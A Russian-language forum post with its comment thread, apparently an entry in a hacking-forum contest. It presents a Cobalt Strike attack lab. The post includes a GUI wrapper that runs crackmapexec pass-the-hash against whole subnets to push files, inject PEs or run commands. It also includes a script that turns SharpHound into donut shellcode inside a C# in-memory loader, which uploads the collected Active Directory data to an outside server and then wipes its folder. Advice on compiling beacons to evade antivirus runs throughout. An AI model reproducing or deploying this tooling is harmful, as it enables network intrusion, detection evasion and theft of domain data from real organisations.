## 4.csInside

При первой загрузке в графическую оболочку, выполните updatecs. Скрипт автоматически загрузит внушительный арсенал утилит для кобальт-страйка, произведет автоматическую обфускацию исполняемых файлов с помощью net-obfuscate, а так же перекомпилирует наши биконы с помощью TDM-GCC (получим минимум детектов). Всем неравнодушным советую поиграть с аргументами компилятора в файле /opt/cobaltstrike/artifactkit/winebuild.sh - практически без крови и пота можно достигнуть 0/77.

Конечно maleable c2profile относится больше ко второй главе (серверной части), но я кратко решил рассказать пару моментов именно тут. Единственная работа, которую интересно было читать - как раз про профили (точнее ее часть), так что очень советую обратить внимание именно на нее, лавры у автора отнимать совсем не хочется, видно что человек небезразличен к тематике. Просто хочу отметить тут, что для выживаемости сервера параметр "host stage" был выставлен на "false". Это обозначает что мы лишены возможности создания staged payloads, так как именно стейджер выдаст в Вашем сервере - кс, а так же позводит любому бикону подключиться к вашей системе. Рафаель полностью солидарен со мной (шутка конечно) и планирует совсем исключить возможность создания таких нагрузок в ближайших версиях CS, о чем он намекает нам при использовании c2lint.

Ну и последнее, что хочу рассказать и подсказать - это использовние и написание .cna скриптов и gui-скрипта, в связке с crackmapexec (смотрим github, штука - просто огонь) и SOCKS4 сервером, запущенным с помощью бикона, поимеем всю сеть условного вражины за короткий промежуток времени. Видео сего действия - у меня на ютуб канале. Ниже - сорс. На этом хочу закончить на такой ноте: не бойтесь эксперементировать, добавлять в мой скрипт свои части кода, в файл docker-compose - свои контейнеры. Это - всего лишь примитивный скелет Вашей лаборатории, где именно Вам известно, что нужно, а что нет. Еще хочу сказать, что вдохновили на эту статью люди, которые просто говорят спасибо в личке и комментариях. А так же admin этого форума. Именно его вежливость заставила меня написать первые материалы для .is Ни на одном другом форуме я больше не присутствую, да и вообще форуме - ... =) В общем всем хорошего настроения))))
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash

cat<<EOF>/etc/proxychains.conf
quiet_mode
dynamic_chain
[ProxyList]
socks4 XHOSTIP 27500
EOF

zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \
--add-entry="network  " --add-entry="username  " --add-entry="hash   " --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values
CIDR="$(cat /tmp/.values | cut -d'|' -f1)"
USER="$(cat /tmp/.values | cut -d'|' -f2)"
HASH="$(cat /tmp/.values | cut -d'|' -f3)"
METH="$(cat /tmp/.values | cut -d'|' -f4)"
if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi

if test "$METH" = "put" || test "$METH" = "inject" ; then
INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')"
elif test "$METH" = "execute" ; then
EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)"
fi

if test "$METH" = "put" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "inject" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "execute" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd
fi

chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold

## 4.аКомпот?!

Забыл самое главное: сборка всего с помощью docker-compose. В папке /localhost на хосте есть одноименный файл, который выглядит примерно следующим образом:

C-подобный: Скопировать в буфер обмена
Code:
version: "3.7"
services:

 wireguard:
 image: jordanpotter/wireguard
 container_name: wireguard
 restart: unless-stopped
 networks:
  - backbone
 volumes:
  - '/etc/wireguard/socks/wg.conf:/etc/wireguard/mullvad.conf'
  - '/lib/modules:/lib/modules'
 cap_add:
  - NET_ADMIN
  - SYS_MODULE
 sysctls:
  - net.ipv4.conf.all.src_valid_mark=1
  - net.ipv4.ip_forward=1

 suos:
 depends_on:
  - wireguard
 image: kali_suos
 container_name: suos
 restart: unless-stopped
 network_mode: service:wireguard
 cap_add:
  - NET_ADMIN
 volumes:
  - '/opt/kali_suos/root:/root'
  - '/var/run/docker.sock:/var/run/docker.sock'
 command: bash /entrypoint.sh
 environment:
  - HOSTNAME=$HOSTNAME

 acun:
 depends_on:
  - wireguard
 image: 0x4k/acunetix
 container_name: acun
 restart: unless-stopped
 network_mode: service:wireguard
 command: bash /start.sh

networks:
 backbone:
 driver: bridge

А так же файл up.sh
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
cd /localhost ; docker commit suos kali_suos
export HOSTNAME="$(hostname)" ; docker-compose down --remove-orphans
docker-compose up -d --force-recreate --remove-orphans


Как несложно догадаться - компот - acunetix. Файл up.sh сохранит контейнер в его нынешнем состоянии и пересоздаст заново остальноые (пересоздаст контейнеры - не значит перестроит, имейте ввиду))))
Компот - клиент, для работы с графической оболочкой и приятными бонусами, в виде мультиплатформенности и значка-запуска в трее. Это electron-приложение, которое так же придаст слой "лука" нашей с Вами безопасности, да и к тому же жутко удобное в использовании. Компилируется на хосте командой makeclients, после чего выдает вам ссылку но загрузку версий под Windows и Linux. Да и вообще, я постарался сделать установщик максимально простым и информативным... Понравилось, только честно?)

Прочитать на белом фоне (а самые внимательные уже давно прочитали и установили, ведь все это "висело" у меня в подписи) можно по адресу: https://x4k.tools XD


Обновление: 29 июля

Итак, как я и обещал - годная статья - выкладываю патч XD. Давайте на эту же тему) Итак:

V2.1 - BloodHound

БладХаунд - легендарная собака, многие хотели, но не смогли.

Я сделал следующее: установил сервис на хост (точнее несколько), который слушает на :899 и принимает .зипы, которые генерирует ингестор. Ингестор в свою очередь выполняется fileless, через execute-assembly. Собирается пошагово так: скачивается последний официальный компилированный SharpHound.exe, с помощью donut'a преобразуется в шеллкод с добавлением некоторых аргументов для запуска. Было несколько вариантов, удобнее всего был метод с ReflectiveLoader. Но решил сделать csharp, подумал так будет правильнее. Использовал самый простой RunPE и добавил свои функции. После исполнение шеллкода в памяти, полученный зип-архив "переправляется" на хост, где его и ждет вышеназванный :899 для разбора и анализа. После рабочая папка удаляется. Остальное делает sleep (кто не вкурсе - Рафаель создал свой язык, на котором и написан aggressive script). Немного про БладХаунд: утилита, которая оказывает неоценимую помощь в lateral moving. Строит потрясающие графики, собирает огромное количество информации. В графическом интерфейса, помимо просмотра этой инфы, Вы с легкостью можете узнать "путь" к любому виду Админов и других сказочных существ. Чтобы Вам было проще добираться - стрелки смазаны специальным зельев, которое по клику правой кнопкой мыши в пункт "Help", как ни странно, но предоставляет РЕАЛЬНУЮ помощь, в виде прямых команд, без разгадывания квестов и такие же, без доли стеснения References.
Нажмите, чтобы раскрыть...

BloodHound Если сказать проще - позволяет без боли, унижений, а главное кучи потраченного времени на ковыряние сети получить "Главный Приз". Итак, основная его действующая часть, которая инициализируется до запуска клиента кс.

Bash: Скопировать в буфер обмена
Code:
#!/bin/bash

rndname="$(curl -s https://gitlab.com/x4k/pub/-/raw/master/names.txt | shuf -n1)"
rm -r /opt/cobaltstrike/custom/sweet/output &> /dev/null ; mkdir /opt/cobaltstrike/custom/sweet/output
wget -qO /tmp/SharpHound.exe https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
donut -a2 -z2 -i/tmp/SharpHound.exe -p"--NoSaveCache --ZipFilename report --CollectionMethod All" -o /tmp/loader.bin
XBYTES="$(xxd -i /tmp/loader.bin | tail -n1 | cut -d'=' -f2 | head -c-2 | sed 's+ ++g')"

cat<<EOF>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
using System;
using System.IO;
using System.Linq;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[$XBYTES] {
EOF

xxd -i /tmp/loader.bin | tail -n+2 | head -n-1 >> /opt/cobaltstrike/custom/sweet/output/$rndname.cs

cat<<'EOF'>>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);

IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);

for (int i = 1; i <= 5; i++) {
Console.WriteLine("Thread paused for {0} second", 5); Thread.Sleep(1000); Console.WriteLine("i value: {0}", i);
}

string tpath = @"C:\ProgramData\mydata" ; var directory = new DirectoryInfo(tpath); string endfile = @"C:\ProgramData\mydata\report.zip";
var myFile = (from f in directory.GetFiles("*.zip") orderby f.LastWriteTime descending select f).First();
string mile = "" + myFile; File.Move(mile, endfile);

System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream");
string ServerIp = @"http://zxlab.io:899/upload?token=f9403fc5f537b4ab332a";

if (File.Exists(endfile)) {
var result = Client.UploadFile(ServerIp, "POST", endfile); Console.WriteLine("Upload complete! Enjoy XD"); File.Delete(endfile);
} else {
Console.WriteLine("ERROR! CANNOT DETERMINE USERS DOMAIN OR CANNOT CONECT TO LDAP!"); return;
}

Process abominable = new Process(); abominable.StartInfo.FileName = "cmd.exe";
abominable.StartInfo.Arguments = @"/c timeout 10 && rd /q /s C:\ProgramData\mydata";
abominable.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; abominable.Start();

return;
}

[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);

[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);

public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}

public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
EOF

sed -i "s+zxlab.io+$HOSTNAME+g" /opt/cobaltstrike/custom/sweet/output/$rndname.cs
mcs -platform:x64 -t:winexe /opt/cobaltstrike/custom/sweet/output/$rndname.cs -out:/opt/cobaltstrike/custom/sweet/output/$rndname.exe
cp /opt/cobaltstrike/custom/sweet/sweet.bak /opt/cobaltstrike/custom/sweet/sweet.cna ; sed -i "s+Bloodhound+$rndname+g" /opt/cobaltstrike/custom/sweet/sweet.cna

И простейший алиас запуска в терминале бикона:


Java: Скопировать в буфер обмена
Code:
alias easyblood {
brm($1, "C:\\ProgramData\\mydata");
bmkdir($1, "C:\\ProgramData\\mydata");
bcd($1, "C:\\ProgramData\\mydata");
bexecute_assembly($1, "custom/sweet/output/Bloodhound.exe");
}

/usr/local/bin/cobalstrike был изменен таким образом:

Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/
sudo /opt/cobaltstrike/custom/sweet/makeblood.sh && sleep 2 | zenity --window-icon="/usr/share/icons/Papirus/128x128/apps/clamav.svg" --progress --auto-kill \
--auto-close --text='D0nt w0rry. Do b4d th1ngs..' --pulsate --title="_unkn0wn:::CobaltStrike" --no-cancel --width="300"
cd /opt/cobaltstrike
xhost +
./start.sh

Теперь, все, что Вам необходимо сделать: получить АдминАккаунт и выполнить в консоли бикона easyblood. Имейте ввиду, что собака работает только в контексте домена

Помимо >@ изменению подверглись многие аспекты "скрипта", увидеть полный и подробный список которых Вы можете в последнем коммите. XD


Очень хочется отметить, что все это протестировано, опробовано и заснято на видео, которое я покажу немного позже ;-) Конкурс (и мой тоже) продолжается ;-)

https://github.com/l4ckyguy/ukn0w/commit/0823f51d01790ef53aa9406f99b6a75dfff7f146?branch=0823f51d01790ef53aa9406f99b6a75dfff7f146&diff=unified
FileBrowser
 
Тема выбрана крутая, баш сорец отличный (просмотрел), но где же сама статья? Стаф есть, но хорошо бы теперь на его основе написать полноценную статью то =)
 
admin сказал(а):
Тема выбрана крутая, баш сорец отличный (просмотрел), но где же сама статья? Стаф есть, но хорошо бы теперь на его основе написать полноценную статью то =)
Нажмите, чтобы раскрыть...
Привет) рад что просмотрел) так статья - и есть bash скрипт =)))) смотри внутри комменты)) я даже главы выделил) Начинаются с #DEFINE: _SOME
 
groupby сказал(а):
он слишком стеснительный))) нужно не много времени
Нажмите, чтобы раскрыть...
"Немного" пишется вместе

admin сказал(а):
Тема выбрана крутая, баш сорец отличный (просмотрел), но где же сама статья? Стаф есть, но хорошо бы теперь на его основе написать полноценную статью то =)
Нажмите, чтобы раскрыть...
Это концепция =) Рядовые статьи - совсем не интересны))) просмотри полностью - поймешь в чем соль))) (abuser) =)
 
x4k сказал(а):
Привет) рад что просмотрел) так статья - и есть bash скрипт =)))) смотри внутри комменты)) я даже главы выделил) Начинаются с #DEFINE: _SOME
Нажмите, чтобы раскрыть...
Увы, так не пойдет. В прошлый раз аналогичная история была с видео xrahitel, он потом жутко обижался =) Это же конкурс, тут присутствует формальный момент. Твой прекрасный сорец сейчас чисто по формальному признаку не проходит в конкурс. А не формально - новичкам будет очень удобно и очень познавательно прочитать все это разжевано, по шагам, поэтапно, с вступлением, обзором всего в основной части, разбито по логическим частями и с выводами или результатами. Сейчас вот некоторые могут и не понять, что тут выложено и что с ним делать, например. И какую ценность это, условно говоря, представляет.

Пока еще есть время (целый месяц еще), переформатируй, перепиши в виде статьи. Это очень легко, ведь основа есть.
 
Мальчики и девочки))) тут немного защиты от дурака - будет апокалипсис если уж совсем неподготовленные юзеры начнут юзать подобные инструменты направо-и-налево. На видео под катом - результат работы abuser'а, через терминал. У вас же - GUI версия, да к тому же с 3-мя вариантами. abuser - это реальный HELL. имеет всю сетку сразу. безкомпромисов и "если бы у бабушки был бы @уй то она была бы дедушкой" =)
ЗЫ: Уважаемые "Профи" - ... извините )
 
groupby сказал(а):
Если к тебе люди относятся лояльно, не нужно привозвышать себя, или пытатся казатся умным, или умничать!!! Умен не тот кто много знает, а тот кто знает где искать!
Нажмите, чтобы раскрыть...
Задело? Не кипятись, бро) Я в курсе, ты Профи)
 
Возьму все и всех. Яж добрый =) Кстати - кто хочет в team (требуются определенные навыки) прошу в tg => @IIOI_phoenix #это директор по набору персонала XD
 
groupby сказал(а):
для тех кто не вкурсе, в ролике был продемонстрирован crackmapexec, "sudo apt-get install crackmapexec" -- рассказал бы больше про эту божественную утилиту, но статья к сожалению не моя!
Нажмите, чтобы раскрыть...
Для тех кто не в курсе начиная с 1048 строчки я не только обуздал божественную утилиту (у меня правда не public версия, но от этого ничего не пострадало), но и написал GUI враппер вкупе с Aggressive Script (.cna). В ГУИ были встроены методы put|inject|exec =))) Конечному пользователю остается просто ввести им.поль., СИДР и НТЛМ хэщ - остальное NetworkAbuser сделает сам (поимеет всю сетку так, что у некоторых тапочки послетают)))))
 
Понимаю опасения автора, но всё же, если получилось бы красиво оформить и разжевать, то как по мне это будет одна из тех крутых статей, от которых появляется желание заходить на форум, читать и развиваться
 
x4k сказал(а):
Для тех кто не в курсе начиная с 1048 строчки я не только обуздал божественную утилиту (у меня правда не public версия, но от этого ничего не пострадало), но и написал GUI враппер вкупе с Aggressive Script (.cna). В ГУИ были встроены методы put|inject|exec =))) Конечному пользователю остается просто ввести им.поль., СИДР и НТЛМ хэщ - остальное NetworkAbuser сделает сам (поимеет всю сетку так, что у некоторых тапочки послетают)))))
Нажмите, чтобы раскрыть...
Бро, говорю-ж некоторым (возм. всем) "Профи" очень советую более детально изучить возможности скрипта)
 
Так и знала, что придет олдскул и позарится на призовые..
Стебется масочка ( а я тебя знаю).
Учти - щас ещё 123 чела запросят мануал
 
...Чтобы потом не орали: "Пу здает сваих! Мама бирегися!"... =) Работать нужно так, чтобы все знали что это ты, но никто не смог тебе этого сказать в лицо =)
 
lisa99 сказал(а):
Так и знала, что придет олдскул и позарится на призовые..
Стебется масочка ( а я тебя знаю).
Учти - щас ещё 123 чела запросят мануал
Нажмите, чтобы раскрыть...
Так в том и соль - что мануал - сама статья))) решил немного отклониться от канонов современных писателей и заебошил все в рабочий баш-скрипт))) просто дропни скрипт на твою впс, chmod +x script.sh ; ./script.sh твой.домен
ВСЕ!!! Разве что не с@с`т =)
 
А инструментофф там до @@@@@я =) расшарил своего jok3r'а - там вообще их 103 =))) юзайте да не заюзайте =)) а еще там биконы с минимумом детектов)) кто немного соображает - без труда до 0 доведет, добавив пару аргументов к компилятору =)
 
groupby сказал(а):
ну как, получается все мясо собрал в один скрипт, самое что жалко, что не нужно ничего делать((
Нажмите, чтобы раскрыть...
Не совсем =) это просто каркас. Минимум для безопасности и удобства работы. Все мясо - у меня на машинах))) там real meat =)))) ахахха =) куча непабликов, 0-детект колбаса (обходит даже Sophos Corp) да и вообще))) мясо в общем)
 
Ну так о чем спор? На текущем конкурсе есть формальный признак - 7000 символов без пробелов и без кода. Если бы это был конкурс башевских скриптов, то было бы норм, на текущий конкурс в таком виде - не норм, все правильно.
 
DildoFagins сказал(а):
Ну так о чем спор? На текущем конкурсе есть формальный признак - 7000 символов без пробелов и без кода. Если бы это был конкурс башевских скриптов, то было бы норм, на текущий конкурс в таком виде - не норм, все правильно.
Нажмите, чтобы раскрыть...
Малой, я теперь тебя цитировать буду)
Да ему эти призовые.. До того места
Пошел разговор, что конкурс дохл, вот и подключился
Боишься проиграть? xD
 
Top